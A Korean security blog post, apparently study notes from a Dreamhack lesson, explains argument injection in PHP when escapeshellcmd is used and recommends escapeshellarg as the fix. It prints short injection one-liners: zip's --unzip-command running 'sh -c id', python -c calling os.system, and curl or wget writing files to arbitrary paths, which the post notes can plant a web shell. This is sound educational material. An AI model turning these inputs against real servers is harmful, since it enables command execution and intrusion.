ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk

ssongk

background/web

Command Injection for PHP

2022. 11. 28. 21:46

 


PHP에 시스템 명령어를 실행하기 위한 system 함수가 있다.

PHP에선 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 escapeshellcmd 함수를 사용한다.

이는 메타 문자가 입력됐을 때 해당 문자 앞에 '\'를 삽입해 타 명령어를 실행할 수 없도록 한다.

 

escapeshellcmd 함수에서 메타 문자를 활용한 커맨드 인젝션은 불가능하다.

그러나 특정 명령어의 인자로 입력값이 전달되는 경우 공격자는 실행하려는 명령어의 옵션을 조작할 수 있다.

명령어의 인자를 조작할 수 없도록 하려면 escapeshellarg 함수를 사용해야 한다.

(escapeshellcmd 함수를 사용할 경우 메타 문자를 활용하지는 못하지만 명령어의 옵션 또는 인자를 조작할 수 있다)

 

 


zip

zip 명령어는 압축 파일을 생성하거나 해제하는 명령어인데

해당 명령어의 옵션을 살펴보면, --unzip-command가 존재한다.

이는 압축 파일을 테스트할 때 사용되는 옵션으로, 인자로 전달된 명령어를 실행한다.

$ zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"

 

 


python


파이썬은 명령줄로 코드를 실행할 수 있는 -c 옵션이 있다.

$ python -c '__import__("os").system("id")' input.py

 

 


curl


curl은 전달된 URL에 접속하는 CLI 프로그램이다.

명령어를 실행할 순 없지만 -o 옵션을 통해 임의 경로에 파일을 저장할 수 있다.

이는 웹쉘을 올리기 위한 방법으로 사용할 수 있다.

$ curl  http://dreamhack.local -o /tmp/hello.txt
$ cat /tmp/hello.txt

 

 


wget


wget은 전달된 URL에 접속해 파일을 다운로드하는 용도로 사용되는 프로그램이다.

-O 옵션을 사용하면 임의 경로에 파일을 저장할 수 있다.

$ wget http://dreamhack.local -O hello.txt
$ cat /tmp/hello.txt

 


레퍼런스

https://learn.dreamhack.io/296#6

 

로그인 | Dreamhack

 

dreamhack.io

 

'background > web' 카테고리의 다른 글

Spring View Manipulation (Thymeleaf SSTI)  (0) 2023.08.07
SQL Injection Tips  (2) 2023.02.18
Command Injection for Linux (2)  (1) 2022.11.27
Command Injection for Linux (1)  (0) 2022.11.26
[NoSQL] Redis DBMS  (0) 2022.11.24
    'background/web' 카테고리의 다른 글
    • Spring View Manipulation (Thymeleaf SSTI)
    • SQL Injection Tips
    • Command Injection for Linux (2)
    • Command Injection for Linux (1)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바